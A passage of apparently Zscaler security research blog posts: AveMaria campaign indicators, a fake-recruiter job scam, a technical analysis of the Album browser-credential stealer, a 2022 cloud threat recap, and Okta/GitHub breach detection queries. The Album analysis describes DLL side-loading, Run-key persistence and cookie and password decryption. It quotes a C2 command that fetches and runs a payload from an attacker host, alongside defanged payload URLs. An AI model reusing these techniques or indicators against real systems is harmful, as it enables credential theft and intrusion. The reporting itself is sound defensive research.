56d1e9d11a8752e1c06e542e78e9c3e4 = vhdx 7991987b2a79059558cdc31e89d03874= shortcut file 2300a4eb4bf1216506900e6040820843= Avemaria [+] Network Indicators: 45[.]61[.]137[.]32/www[.]exe = Payload downloading url hbfyewtuvfbhsbdjhjwebfy[.]net = C2 communication Case 2: [+] MD5s: 86c697f7284ecb5c68cd35d26aaf634a = .vhd file c97e0614fcb0a15ac753ac6761278174 = Downloader 45E081D7C43D748E7FFC63986D30244D = Downloaded dll 9cbdf2af5fa3190d4fdc738c609c0ac2 = AveMaria [+] Network Indicators: filetransfer[.]io/data-package/or1h41Fh/download = third party file sharing payload downloading url pliblu-fax.home-webserver[.]de = C2 communication 2. AUloader_campaign [+] MD5s: 1afc02e79c53a3b7d27ee65316f519a9 = eml file Bfb7243c9fb7a8dccc6f3424c7b32735 = Zip file 421e24c8caf1bf35c0ff996b0e6f5e45= bundled payload F50f9458e7ee7bbcc6d0b684cddcd81a = Malicious obsfucated AutoitScript B392DC121A8BF6F50DDBA123F39C661A = Malicious payload [+] Network Indicators: kashbilly[.]duckdns[.]org = C2 communication 3. Phishing Email Targeting Ukraine Officials [+] MD5s: 3a7ba1f6f92af9ed43cbd590eb404496 = eml 44146555cf092feeb28dc749aa351396 = ISO A8097627f02f3421fc013e91150052c5 = Avemaria 2cee905780250147d511d517207ab859 = Shortcut file Ccf13de15cfedf95afc81369f5dd1c80 = Shortcut file C9dbd70385c2c1150277f826b7c31af7 = Shortcut file 2dae2b3e7148fe5040a730899a400cc5 = Shortcut file [+] Network Indicators: odessa-gov[.]ddns[.]net = C2 communication 4. Phishing campaign targeting Citizens of Serbia [+] MD5s: Ac8a30747ad3ea3cd4bc9997daeeb2a5= zip 69d86282fe302bc53974c260a33db01d = Avemaria [+] Network Indicators: 171[.]22[.]30[.]72:5151 = C2 communication 5. Vbs_campaign [+] MD5s: Af1dd5b0cd80d2456fed9576fa9cbd58 = eml Ef8b4d10a6afc84031cc25e3eb045ae3 = Zip file 09615ab1e7d3da53aba689272afb1f4d= vbs file 2f264464da58b60a91af5bce586b6407 = base64 Injector DLL C2f8bd0d0b06f7e2a7de6807e21e7201 = base64 Supporting DLL D39b8088f01baa5c3477a0ec823dfe1d = Reversed Base64-encoded AveMaria payload. [+] Md5s after decoding and restructuring of base64 encoded file: ba27a4e171e2af34388c342ef45069cc= Injector DLL 158855fa22529808ac412225c36ce5e9= Supporting DLL e85c51ea9fa1a32da2de02c11dba3f73= Ave_Maria_payload [+] Network Indicators: 80[.]76[.]51[.]222/jfgfhhjhgjkj[.]txt = Avemaria payload downloading url 20[.]7[.]14[.]99/server/dll2.]txt = Injector DLL downloading url 20[.]7[.]14[.]99/server/RUMPE2[.]txt = Supporting DLL downloading url 80[.]76[.]51[.]88:1956 = C2 communication 6. Mshta_campaign [+] MD5s: 6114a230ccdb77219c67c47e054f881a [hta] 62655c77982dbea9bfd30d0004862228 = ISO 2828f49cde16e65a1bee0c5c44aed8cc = .lnk 3bc9680077b50ad074e607b3ba700edc = AveMaria payload [+] Network Indicators: sgtmarkets[.]com/mt4.exe Payload downloading url sgtmarkets[.]com/h.hta = Payload downloading url mt4blog[.]com = C2 communication Sat, 04 Feb 2023 00:28:02 -0800 Stuti Chaturvedi https://www.zscaler.com/blogs/security-research/dynamic-approaches-seen-avemarias-distribution-strategy https://www.zscaler.com/blogs/security-research/job-scams-impersonate-companies-still-hiring-following-tech-layoffs Summary In the midst of significant layoffs hitting the previously immune tech industry, scammers have mobilized and doubled down on targeting job seekers with various employment scams. Stealing personal information and extorting victims for money, these scams leverage fake job postings, sites or portals, and forms, wrapped in social engineering to attract job seekers. The Zscaler Threatlabz team observed multiple suspicious job portals and surveys used by attackers to solicit information from job seekers under the guise of employment application forms. The attackers may advertise jobs online, sometimes setting up fake websites, or look for targets on social media to steal money and personal information. Key Observations Threat actors masquerade as recruiters from specific companies, primarily located in the US and Canada. Malicious new domains are registered on hosting providers like Namecheap. Attackers scrape and reuse the contents of real job postings from public sites like SmartRecruiters and LinkedIn to convince applicants the post is legitimate. Fake application forms steal sensitive personal information from victims and may be sold, used for fraud, and to further target and extort victims. Newly Registered Domains (NRD) are commonly used by threat actors and these have suspicious Top-Level Domains (TLDs) such as .online, .work, .live, etc. typically followed by the name of the actual hiring organization the attackers are impersonating. Threat Campaign Analysis Our researchers discovered an active scam where the threat actor(s) positioned themselves as Zscaler recruiters targeting job seekers on LinkedIn. Fig 1 - Shows a LinkedIn message phishing for victims with a fake Zscaler job link and reference code This fake listing was created by a scammer from an active Zscaler job posting listed on SmartRecuiters, however the attackers made one change, lowering the years of experience requirement to attract more potential victims. For an unsuspecting candidate, this common outreach tactic may feel familiar and the copied job posting appears like a legitimate position. Fig 2 - Fake job post copied from an actual Zscaler listing on SmartRecruiters To apply for the fake job shown above, applicants are prompted to fill out a questionnaire that requests personal information, job role related information, and compensation information. Fig 3 - Landing page of the application questionnaire. As a final step of the questionnaire, the victim is prompted to verify identification by uploading a copy of their State ID, Drivers License, Residential Permit, or Passport. Collecting this document along with the victim's other personal information may enable the scammers to impersonate the victim committing identity theft and fraud, or sell the information to other scammers. Fig 4 - Final step of fake job questionnaire asking the victim for a copy of an official document containing Personally Identifiable Information (PII) After submitting the completed questionnaire, a confirmation message is displayed indicating the victim will be contacted via text message or email in 1-3 days for next steps in the application process. Fig 5 - Submission confirmation message displayed after completion of the fake job offer questionnaire Once the submission has been received by the scammers, they reach out using email to schedule a fake interview using Skype or a chat application, as shown in the screenshot below. Fig 6 - Malicious email impersonating a Zscaler recruiter scheduling aSkype interview with the victim Note that the Skype invitation provided in the email shows a profile photo of an actual Zscaler recruiter. Fig 7 - Malicious Skype invitation using a real profile picture to impersonate an actual Zscaler recruiter Following the fake interview, candidates may receive a fake job offer and be routed through a fake onboarding process. As a final step, victims may be asked to pay for shipping the IT hardware equipment they will need for the remote position or payments for onboarding training. Scammers may also ask for Social Security numbers and bank account information for depositing paychecks. Infrastructure Analysis The malicious site observed in this threat campaign contained currently inactive code to validate credit card details, a feature that may be used once a victim falls for the initial attack. Fig 8 - Source code showing commented-out credit card validation element The malicious domain used in this scam - zscaler-finance-analyst-strategy[.]live, was created on 23-Jan-2022, a Newly Registered Domain at the time of technical analysis by Threatlabz researchers on 24-Jan-2022, following an observed attack one day after the domain was created. Fig 9 - Registration details showing the site used in this scam was a Newly Registered Domain at the time of analysis A script found in the site’s code contained an email address impersonating a Netflix recruiter with domain jobnetflix[.]com. Conducting a pivot search on this email address, researchers discovered the following two additional fake job postings leveraged by the same unauthorized email account: UX designer (REMOTE) ZUORA SOFTWARE Project Administrator Construction, New Equipment KONE OYJ A complete list of domains previously linked to the same threat actor(s) are listed in the IOCs section at the end of this article. While investigating this campaign, ThreatLabz researchers also observed several other suspicious newly-registered sites portraying job portals or advertising fake job openings. Fig 10 - Fake Total Energies recruitment scam page Fig 11 - Malicious job portal with fake or stolen job listings Best practices to safeguard against these attacks: Ask for a direct link to the company’s job posting and reach out to the company directly using contact information you gather from the company website to verify the credibility of a job posting. Search for job postings across legitimate job sites. Only submit online applications to authentic verified sites. Do not engage in communication with any un-official email address or respond to a text or phone number without verifying legitimate company affiliation for the recruiter and confirming via email communication that they have a corporate email address.If you’re not familiar with the company, search its name with the word “scam” or “fraud.” You may find stories from others who have been targeted. Look for telltale signs of a possible scam like emails from personal email addresses or email addresses not affiliated with the company, grammar and spelling mistakes, interviews conducted solely via email or online chat, salaries out of line with industry norms, and requests for financial information or other personal information. Never make any type of payment for an application or job offer. Genuine organizations will never ask you for any type of payment to apply or accept a job offer. Likewise, legitimate recruitment agencies and placement firms are almost always compensated for sourced candidates by the companies they serve. Any request for payment should automatically raise a red flag that you are likely dealing with a scammer. Only use HTTPS/secure connections when visiting job postings. Ensure your operating system and web browser always have the latest security patches installed. Indicators of Compromise (IOCs) Domains used to masquerade as Zscaler zscaler-finance-analyst-strategy[.]live zscalercareers[.]co Previous domains used by the same threat actor(s) zuora-ux-designer-a83637.ingress-erytho.easywp[.]com submit-application[.]us global-application[.]us careers-firstenergycorp[.]online career-conagragroup[.]live canadiantire[.]work interview-petsmart[.]online hire-weston[.]com career-petsmart[.]com intellectsoftcareer[.]com Thu, 26 Jan 2023 16:56:34 -0800 Jithin Nair https://www.zscaler.com/blogs/security-research/job-scams-impersonate-companies-still-hiring-following-tech-layoffs https://www.zscaler.com/blogs/security-research/album-stealer-targets-facebook-adult-only-content-seekers Information stealing malware is commonly observed in the landscape of cyber attacks today. Zscaler ThreatLabz team has discovered many new types of stealer malware families across different attack campaigns. Recently, the Zscaler ThreatLabz research team has spotted a new information stealer named Album. This blog will walk through the malware distribution campaigns and technical details of Album Stealer. Key points: Album Stealer is disguised as a photo album that drops decoy adult images while performing malicious activity in the background. The malware uses a side loading technique that uses legitimate applications to execute malicious DLLs to avoid detection in multiple stages. Album steals cookies and stored credentials from different web browsers on a victim’s machine Information is also stolen from Facebook Ads Manager, Facebook Business accounts and Facebook API graph pages. Album employs obfuscation using the ConcurrentDictionary class to mask important strings and data. Album sends information that is collected from an infected system to a command and control server. The threat group launching these attacks may be located in Vietnam. Infection chain: Album Stealer attacks start from fake Facebook profile pages that contain adult pictures of women. Threat actors create these profiles to lure a victim into clicking on a link to download an album containing the images. The attack starts when the victim clicks on that link, which either redirects to a zip archive file that is frequently hosted on Microsoft OneDrive or another malicious site that hosts a malicious zip file. The graph shown in Figure 1 contains a full attack chain. Fig 1: Attack chain of Album Stealer Figure 2 shows the initial malicious zip file download in Zscaler’s cloud. Fig 2: Album Stealer downloader identified in Zscaler’s cloud Technical Analysis An example Facebook URL used in this campaign is l.facebook[.com/l.php?u=https://rebrandtop[.]top/clgtf?fbclid={ID}&h={Value}&__tn__=*I&c[0]={Value}. The link redirects to a shared OneDrive folder that contains a malicious zip file as shown in Figure 3, or another site that hosts a malicious zip file such as hxxps://cdn[.ubutun[.]xyz/Main/Album.zip?random=13131. The filename of the zip varies between campaigns with names like Album.zip, AlbumSuGarBaby.zip, albumgirlsexy.zip or sexyalbum.zip. Fig 3: Onedrive link to download a malicious zip file The zip archive contains three files similar to the following: Album.exe PdfiumControl.dll data.dat Album.exe Album.exe is a legitimate TresoritPdfViewer executable file signed by “Tresorit kft”. This file is vulnerable to a DLL side loading attack. When Album.exe is run, the program will load a dependency named “PdfiumControl.dll”, which in this case is a malicious DLL. The code in the malicious PdfiumControl.dll will subsequently execute the data.dat file, which is a self-extracting archive (SFX) file. The SFX archive, when extracted, contains images of women that are used as a decoy. In the background, the malicious DLL starts its activities by searching for the "\%AppData%\Roaming\Canon" directory. If the directory does not exist, it will be created. Next, the malicious PdfiumControl.dll decrypts and drops several files. The file content is stored as an encrypted format in a dictionary. The ConcurrentDictionary class is used to fetch content using key/value pairs. The data is Base64 decoded and decompressed using GZip. The final payload is decrypted using the AES algorithm. The AES key is generated using the Rfc2898DeriveBytes class based on a hardcoded password and salt, with 1000 iterations. The AES key is 256 bits and the initialization vector is 128 bits. Figure 4 shows the decryption algorithm below. Fig 4: Album Stealer Decryption routine code The decryption process drops the following files: \%AppData%\Roaming\Canon\CNQ.exe \%AppData%\Roaming\Canon\Curl.dll \%AppData%\Roaming\Canon\Lenovo.TVT.CustomerFeedback.Manager.dll \%AppData%\Roaming\Canon\log4net.dll The file CNQ.exe is then executed. CNQ.exe CNQ.exe is another legitimate product from “D-iOSiCloud”. The executable is signed by “Shenzhen iMyFone Technology Co., Ltd”. This binary is also vulnerable to DLL side loading and used to load a malicious file named Curl.dll. Persistence Mechanism Curl.dll creates the Autostart Registry key to execute “CNQ.exe” at every restart. Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Speaker2020 Value: C:\Users\{UserName}\AppData\Roaming\Canon\CNQ.exe Further, Curl.dll creates the directory %AppData%\Roaming\Bluestack. The DLL also downloads the file http://cdn.ubutun[.xyz/Canon/sparkle-windows.xml and saves the result to:\%AppData%\Roaming\Canon\sparkle-windows.xml. The file sparkle-windows.xml contains the following: <enclosure url="http://cdn.ubutun[.xyz/Canon/app638065785676331179.zip sparkle:version="1.0.6" length="0" type="application/zip"/> The Curl.dll downloads a payload from the URL in this file (e.g., cdn.ubutun[.xyz/Canon/app{18 digit numeric}}.zip) and saves the result to \%AppData%\Roaming\Canon\app{{18 digit numeric}}.zip. Next the Curl.dll extracts the contents of the zip file into the directory %AppData%\Roaming/Bluestack/. After extraction, this folder contains the files below: DiskCompactionTool.exe Lenovo.TVT.CustomerFeedback.Manager.dll WDLocale.dll WDSyncConfiguration.dll WDSyncSettings.dll DiskCompactionTool.exe.config DiskCompactionTool.exe Next, the DiskCompactionTool.exe file is executed, which is a legitimate tool named “WD Sync” signed by “WESTERN DIGITAL TECHNOLOGIES”. The DiskCompactionTool.exe is also vulnerable to a DLL side loading attack, which is exploited to load a malicious file named “WDLocale.dll” . The malicious WDLocale.dll file creates 2 run registry keys for persistence to execute at every reboot as shown below: Registry key:SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name:BlueStacks_bgp64 Value:C:\Users\{UserName}\AppData\Roaming\Bluestack\DiskCompactionTool.exe Registry key:SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run Name:Speaker2020 Value:C:\Users\{UserName}\AppData\\Roaming\Bluestack\DiskCompactionTool.exe The malicious WDLocale.dll file checks for the presence of the file: C:\Users\{UserName}\Desktop\Roaming\Bluestack\versionid.txt If the file does not exist, it will be created. This file is used to store system information and a unique system ID. The DLL will then perform a beacon the command and control server to obtain further commands, which are saved in the file "%AppData%\Roaming\Bluestack\commonupdate". ThreatLabz observed the server send the following commands as shown in Figure 5: “120000|https://cdn[.]ubutun.xyz/App/Bravia.txt||Bravia.exe|Bravia|true|true|true|true|4127|” Fig 5: Album Stealer requesting commands from the C&C server The response from the C&C server contains a task ID that is used to track the status of a command. Figure 6 shows the result of executing the task with the C&C server acknowledging the status and the msg parameter containing “Status update successful” in the Vietnamese language. Fig 6: Album Stealer update status beacon The task shown in Figure 5, instructs the WDLocale.dll to connect to “cdn[.ubutun.xyz/App/Bravia.txt” that serves this URL “http://cdn[.ponamei[.top/App/app{18 digit numeric}.zip” and further , it downloads zip file and saved in the “%AppData%” directory "%AppData%\Roaming\Bluestack\app{18 digit numeric}.zip".After downloading the file, the content is a zip file that is extracted to "%AppData%\\Roaming\Bravia" folder containing the following files: Bravia.exe BouncyCastle.Crypto.dll EntityFramework.dll EntityFramework.SqlServer.dll EntityFramework.SqlServer.xml EntityFramework.xml Newtonsoft.Json.dll Newtonsoft.Json.xml System.Data.SQLite.dll System.Data.SQLite.EF6.dll System.Data.SQLite.Linq.dll System.Data.SQLite.xml CNQMUTIL.dll Bravia.exe The file Bravia.exe is legitimate and signed by “Canon Inc.”, which once again is vulnerable to a DLL side loading attack. When Bravia.exe is executed, it will load a malicious file named “CNQMUTIL.dll”. When loaded, this malicious DLL will search for the directory “%AppData%\Roaming\Bravia\Temps” and if it exists, will delete any files inside this directory. If the directory is not present then, the malicious CNQMUTIL.dll creates a Temps folder at “%AppData%\Roaming\Bravia\Temps”. The strings used in the DLL payload at different stages are stored in a ConcurrentDictionary class as key/value pairs. Here the different strings are not used statically and fetched only at runtime using a key from the ConcurrentDictionary. Next the code checks if the file “%AppData%\Roaming\Bluestack\versionid.txt” exists and obtains the system ID from the file. Otherwise, the malware creates the file with the system ID. Version ID The version ID contains system information that is generated from the ManagementClass, which retrieves data from WMI using a specific class path. The code below in Figure 7 contains the recipe to create the version ID string, with various system information concatenated together. Fig 7: Album Stealer version ID generation using system information code The function smethod_5 retrieves CPU information as shown in Figure 8. Fig 8: Album Stealer obtaining processor related information using Win32_Processor WMI class The smethod_3 contains the ManagementClass class that retrieves data from WMI using a specific class path including the UniqueId, ProcessorId, Name and Manufacturer. Figure 9 shows the code for smethod_3. Fig 9: Album Stealer smethod_3 code to retrieve system data using the Management class Next, the code calls the function smethod_6 to get information regarding the BIOS and fetches the information below using the Win32_BIOS WMI class: Manufacturer SMBIOSBIOSVersion IdentificationCode SerialNumber ReleaseDate Version Fig 10:Get BIOS related information using Win32_BIOS WMI class Next, the code calls the function smethod_8 and fetches the following information using the Win32_BaseBoard WMI class. Model Manufacturer Name SerialNumber Next, the code calls the function smethod_9 to obtain the following information about the VideoController using the Win32_VideoController WMI class. DriverVersion Name Next, the code calls the function smethod_10 to obtain the system’s MAC address using the Win32_NetworkAdapterConfiguration WMI class if IPenabled is true. The system information shown above is then hashed using MD5. The resulting MD5 hash is broken up into four byte segments separated by dashes, for example, “1ED9-A838-B7E5-A6AC-A107-{4 digit numeric}-{4 digit numeric}-{4 digit numeric}". This system identifier value is then stored in the versionid.txt file and sent to the command and control server. Data Stealing Most information stealers have a hardcoded list of known locations for applications that store sensitive data related to credentials, cookies and other user data. Then they fetch those files and extract the relevant information. In contrast, Album Stealer searches for file names instead of static paths, to steal data from any browser with specific file names without providing a static path. Album Stealer enumerates through all folders and searches for the files starting in the %AppData% folder Local State Login Data Cookies cookies.sqlite Further, Album searches and creates a list of files found in %AppData% and copies those files into “%AppData%\Roaming\Bravia\Temps\”. Based on the browser, Album copies different files in the Temps folder as shown in Figure 11. Fig 11: Example web browser login and cookie data targeted by Album Stealer Chromium-Based Browsers Album Stealer targets Chromium-based browsers including the following: Google Chrome Opera Microsoft Edge Brave Credentials Stealing Album Stealer targets the Local State, Login Data and Cookies files. The Local State file contains keys that are required to decrypt the web browser data. First Album Stealer reads the Local State file and loads the JSON file to recover the os_crypt and encrypted_key parameters as shown in Figure 12. Fig 12: Album Stealer retrieving the encrypted key from the Local Data file Then Album extract the Base64 encoded key from the JSON and decrypts the key via the ProtectedData.Unprotect function in C# as shown in Figure 13. Fig 13: Album Stealer’s web browser data decryption using the ProtectedData.Unprotect function The Login Data file contains saved usernames and passwords for browsers in SQLite format. Passwords are stored in encrypted form. Album Stealer opens the Login Data database file({Browser}Profile_login_{Datetime})and executes an SQL query and uses SqliteDataReader to extract the “action_url”, “username_value” and “password_value” fields and saved in the variables domain, user and pass respectively as shown in Figure 14. Fig 14:Retrieve stored Credentials from chromium browsers The password_value field is decrypted using the AES key extracted previously by using GcmBlockCipher's DoFinal and ProcessBytes methods as shown in Figure 15. Fig 15: Album Stealer decrypting web browser data Cookie stealing Further, Album Stealer opens the cookies database files({Browser}Profile_cookies_{Datetime})and executes an SQL query and uses SqliteDataReader to extract the following fields: host_key name encrypted_value Expires_utc The encrypted_value field is decrypted using the AES key extracted previously. This information is stored in variables named domain, name, value and Expires as shown in Figure 16. Fig 16: Album Stealer cookies stealing code Firefox Album extracts information from Firefox browser’s cookies.sqlite file by opening the database(FF_cookies_{Datetime}) and executing an SQL query to extract the information below: host_key Name encrypted_value Expires_utc These values are saved in the variables: domain, name, value and Expires parameters, respectively. Facebook data stealing Album steals stored credentials of Facebook and cookies from the browser by searching for cookies related to Facebook. This information is used to steal information from the Facebook API graph, Facebook Ads Manager, and Facebook Business accounts pages. Album uses the graph API to obtain information related to business accounts and Ad accounts. Business account details Album steals the following information related to Facebook Business accounts: id name created_time permitted_roles is_disabled_for_integrity_reasons sharing_eligibility_status verification_status extended credits billed_amount_details billing_period Cookies The screenshots below in Figure 17 and Figure 18 show the code to steal this data and the respective parameter names. Fig 17: Album Stealer harvesting business account data from Facebook pages Fig 18: Album business account data parameters Ad account details Album Stealer harvests the following information related to Ad accounts associated with a victim’s Facebook accounts: account id Account_status amount_details currency Total_amount Network Communication Album Stealer sends all data to the command and control server individually for different browsers. Figure 19 shows Album sending credentials and cookies information for the Google Chrome browser with the following HTTP query parameters: Keyid = versionid (based on system information) &ran = Unique ID attached in sample Fig 19:Send stolen data to command & control server Album Stealer will also send Facebook related data of victim’s profiles. After all data is sent, Album Stealer terminates itself. An observed response from the C&C was “{"status":0,"msg":"Đã xảy ra lỗi"}”. The msg parameter is in the Vietnamese language that translates to “Error! An error occurred. Please try again later”. Conclusion Threat actors are targeting Facebook users to download a malicious archive file that contains adult images as a decoy, while deploying a new information stealer that ThreatLabz has named Album. Album Stealer may bypass security products by leveraging legitimate applications that are vulnerable to DLL side loading. The Zscaler ThreatLabz team continues to monitor this campaign and protect users. Zscaler's multilayered cloud security platform detects indicators, as shown below: Win32.PWS.Album Indicators of Compromise (IOCs) Indicators Description d09be7c2784e05c615c3f1414a9b534d Zip file A844D8580BA205BCBB5F72DE6DC60352 1F79BB67A22EEDC2E5BAC2037A07710A 2131FFBB5613CC2F40D7394A2ECB71D7 B49CC8837C6D418B133BF4F0D455098D Clean file used for sideloading the malicious DLL. 5E0C580C5D84780D56C069D8F74F67AA EBDDEEB9823DDCC6FA8201431601B0BF 33F4C955FC38DD3A313E4A451345CAB9 11AD0039556FB04D4BA07DC89D9ABE3D 4A4D0728D0C1E3E06A90F26655FF58F3 435769AD9BE3B7C64A0089D833FC8E5E D7E1B8C5FACE37FD8B01EEE9974A0A7E Malicious DLL file 267cfa3c3c9cbff218bbd4ec098e4ab9 Dat file with images cdn.ubutun[.]xyz rebrandtop[.]top findalbum[.]top shopalbum[.]xyz neuka[.]top Keeptosafe[.]top Ponamei[.]top Foundaz[.]xyz microtobig[.]xyz CnC Fri, 20 Jan 2023 08:11:04 -0800 Rajdeepsinh Dodia https://www.zscaler.com/blogs/security-research/album-stealer-targets-facebook-adult-only-content-seekers https://www.zscaler.com/blogs/security-research/2022-year-end-recap-cloud-threats As the year is coming to an end, I can’t help but take a walk down memory lane to reminisce and reflect on the journey of the cloud threat landscape. Here’s my take on this 2022 recap of cloud threats. First things first, I think it’s safe to say that this year has been a rollercoaster of non-stop cyberattacks. Particularly the cloud threat landscape, it truly feels like the massive potholes in front of my home. Every 6-10 weeks, we get the same potholes, in the same place, only slightly bigger and worse than the first one and the threat landscape this year for public clouds has been no different. However, while the fundamental TTPs have not shifted, what we have seen is an evolution in long-chained attacks – where more traditional techniques such as social engineering have been combined with cloud misconfigurations and over-privileged identities – resulting in more impactful breaches for organizations. Now let’s dive into some of the observed patterns. Over-provisioned Privileges: The year started with LAPSUS$ making a big name for themselves by leveraging breached credentials and bypassing MFA to go for a joyride into several high-profile organizations. Once they established a beachhead into an organization, they moved laterally - stealing admin credentials and eventually getting ahold of highly privileged credentials for both cloud and on-prem resources. They were successful in compromising several cloud workloads and gaining access to sensitive data. Organizations continue to fail in tracking potential blast radiuses for human and non-human identities, which results in longer root cause analysis and wider impact in terms of data loss. Insider Threats: Organizations continue to miss exploitable access paths to sensitive data in their public cloud. The ability to understand indirect access paths to sensitive data is crucial in understanding how to mitigate risk of insider threats in the public cloud. For e.g. user has access to EC2 instance which has access to an S3 bucket and therefore has a transitive relationship with the data. Resource Misuse - Stale/Unused Objects: One of the key reasons the cloud improves productivity is because of the ability to move large quantities of data around. However, accidental sharing of database or disk snapshots or inadvertent access into these resources have resulted in several breaches this year. Unused IAM objects such as access roles, service principles and API access keys and continued to be an access vehicle for threat actors into organizations. Poor Appsec - Poorly coded web applications continue to provide front door access to cloud environments. Once exploited, threat actors can leverage the OWASP top 10 attack vectors such as SSRF / CSRF to gain access to the cloud metadata services and move laterally through poorly configured IAM roles. Organizations continually fail to harden cloud metadata services such as the instance metadata service(IMDS) in AWS Leaks by the Buckets or Blobs: Petabytes of data continue to be exposed through misconfigured cloud storage. Highly sensitive unencrypted data being stored in the public cloud has meant the perfect storm of data loss for organizations. Not being able to differentiate a legitimate public data share from an accidental one has been the root cause of countless breaches over the years, and 2022 has been no exception. Noisy tools and lack of cloud incident response processes have meant such incidents have been more impactful than they should have been for organizations. Software Supply Chain: We had several instances of malicious python packages being inserted into trusted code repositories such as PyPI/NPM. A 15-year-old vulnerability in a highly popular tool called ‘tar’ remained undetected because of the embedded nature of software dependencies. This package was later discovered to be present in highly popular utilities and container images. Hoax Vulnerability: The OpenSSL vulnerability (CVE 2022-3786 and CVE 2022-3602) disclosure got every organization on their toes resulting in log4j/log4shell DeJa’Vu. But thankfully the impact and exposure was considerably less. One interesting aspect of the lower impact was due to the fact that a majority of servers running OpenSSL were using out-of-date or older versions, talk about the patching paradox! Source Code Loss: The trend started with Solarwinds in 2020 and does not seem to slow down, threat actors are continuing to focus on the organization's intellectual property and source code repositories have been at the crosshairs of such. The goal is not only to impact and steal source code but also to trigger further supply chain attacks down the line. Loss of sensitive content through source code such as embedded API keys continue to proliferate and continue to grow in public code repositories such as Github. Learn more about how to respond to such incidents in our latest blog Cloud Provider Vulnerabilities: There has been a more concerted effort from the cloud security community to harden and find weaknesses in the CSP’s ability to isolate and protect customer environments and several vulnerabilities were discovered where tenant isolation was broken. To summarize, defenders (and developers) across the globe are probably thanking Santa Claus for not dropping another Log4j or Solarwinds (dare I say so) under their trees this year. While the trends observed here will continue to evolve, I am hopeful that increasing awareness on cloud-native attack paths and adoption of solutions – such as Zscaler Posture Control, our cloud-native application protection platform (CNAPP) solution, which combines multi-vector telemetry across cloud misconfigurations, data protection, and identity – will improve organizational resilience to the cloud attacks observed this year. So, what's next? As you head into the new year, there’s no doubt that these cloud threats will continue to advance. For that reason, give us an opportunity to be your mission partner in delivering a secure cloud infrastructure by providing a free assessment of your cloud infrastructure today and helping you build security processes that scale to your needs tomorrow. Learn more about Zscaler Posture Control. Wed, 28 Dec 2022 09:00:28 -0800 Arnab Roy https://www.zscaler.com/blogs/security-research/2022-year-end-recap-cloud-threats https://www.zscaler.com/blogs/security-research/okta-source-code-breach-how-evaluate-impact-protect-your-organization What happened in the Okta source code breach? Okta, a leading provider of authentication services and Identity and Access Management (IAM) solutions, confirmed that its private GitHub repositories were hacked this month. According to an email notification reported by BleepingComputer, and later confirmed by Okta security post, the incident involves threat actors stealing Okta's source code. The leaked Okta source code pertains to the Workforce Identity Cloud repository and does not pertain to any Auth0 (Customer Identity Cloud) products. Zscaler’s cloud is not at risk After a thorough investigation, ThreatLabz determined that Zscaler has not been impacted by the Okta breach. While Zscaler does use Okta internally for employees as an Identity Provider (IDP), all access to our production environments requires multiple additional factors including hardware tokens not provided by Okta. You can read our security trust post here. Source Code Repository Security Source code repositories should undergo periodic and systematic security assessments to ensure the confidentiality and integrity of the codebase. Developer and administrator access control audits, server and platform patching, and configuration reviews should be periodically performed to ensure that repositories are secure and that data is not lost or compromised. Assumed-breach scenarios and red team exercises should be leveraged against your code repositories to assess the impact of a successful external attack. The feedback from such activities should be used to strengthen security posture, inform incident response capabilities, and prepare for real-life incidents such as one reported by Okta. Consider the following with respect to securing your code repositories from compromise: Ensure that your source control software is up to date with the latest security patches. Leverage strict Role Based Access Control (RBAC) and MFA for your internal repositories, with access limited to authorized users with full audit trail. Protect access to the code in repositories using tokens or keys. Frequently rotate these keys, and revoke them when they are no longer needed. Perform routine scans on repositories to ensure that there are no secrets in code. This reduces the likelihood of further security impact after an initial compromise of the environment. ThreatLabz’ SOC playbook for Okta and Code Repositories We are sharing our SOC playbook that organizations can leverage to perform assessment and response activities for this type of breach. The Zscaler Security team has developed Security Operations Center (SOC) playbooks for identity (IDP) providers and Code Repositories such as GitHub. This playbook provides security analysts and researchers fast track access to threat identification and remediation at the user level. Suspicious behaviors trigger a security action workflow: for example, moving a user to a higher-access security group, changing multi-factor authentication methods, unauthorized access to our code repositories or other anomalous and potentially dangerous user behaviors. A review of identity provider logs for indicators of compromise associated with this attack should include the following steps: Review Okta admin/super admin account audit logs. Review cloud admin/super admin account audit logs. Review all executive accounts including MFA method changes. Review new Okta account creations and compare against employee onboarding. Review full Okta config to check for API access, logging configs, etc. Identify Okta accounts where MFA was disabled. Identify the user and root cause of the disablement. Re-enable MFA for those accounts. Reset password for Okta admins. Reset 2-factor authentication for Okta superadmins. Rotate Okta-generated API tokens. Verify Okta Support access is disabled. Verify Directory Debugger access is disabled. Review all critical users' access levels. Security Operations Center (SOC) Detection Rules for Okta and Github The process to enable Threat Detection for Identity Provider (IDP) like Okta using a SOC Playbook should be well-defined with specific workflows and actions. Okta has pre-built log ingestion modules for many of the common SIEM solutions. Once events are ingested, a number of queries can be created and easily leveraged for signs of a potential compromise or other suspicious activities. While they are not a comprehensive set of queries, they serve as a solid starting point for a security investigation. Detection Name Detection Query MFA Deactivation Attempt event.dataset:okta.system and event.action:user.mfa.factor.deactivate MFA Reset Attempt event.dataset:okta.system and event.action:user.mfa.factor.reset_all MFA Push Brute Force Attempt sequence by user.email with maxspan=10m [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] [any where event.module == "okta" and event.action == "user.authentication.sso"] MFA Bypass Attempt event.dataset:okta.system and event.action:user.mfa.attempt_bypass Account Login Brute Force Attempt event.dataset:okta.system and event.action:user.account.lock User Session Impersonation event.dataset:okta.system and event.action:user.session.impersonation.initiate Group Administrative Privilege Assignment event.dataset:okta.system and event.action:group.privilege.grant User Administrative Privilege Assignment event.dataset:okta.system and event.action:user.account.privilege.grant Policy Rule Modification event.dataset:okta.system and event.action:policy.rule.update Policy Rule Deletion event.dataset:okta.system and event.action:policy.rule.delete Policy Rule Deactivation event.dataset:okta.system and event.action:policy.rule.deactivate Similarly, you may want to monitor your Github logs for suspicious activity to ensure that a similar breach does not happen to your organization. Here are some suggested queries. Please refer to relevant MITRE ATT&CK TTPs for your code repositories. Detection Name Detection Query Enterprise Owner added business.add_admin SAML SSO Disabled business.disable_saml 2FA Disabled business.disable_two_factor_requirement Enterprise Admin Invited business.invite_admin Github Connect Created dotcom_connection.create Anonymous Git Access Enabled enterprise.config.enable_anonymous_git_access Git Push to Repo git.push Git Clone to Repo git.clone Migration Created migration.create Secret Keys Created oauth_application.generate_client_secret Forking to Private Repo Enabled private_repository_forking.enable User Public Key Created public_key.create Pull Request pull_request.create Repo Downloaded as Zip repo.download_zip Integration Created integration.create 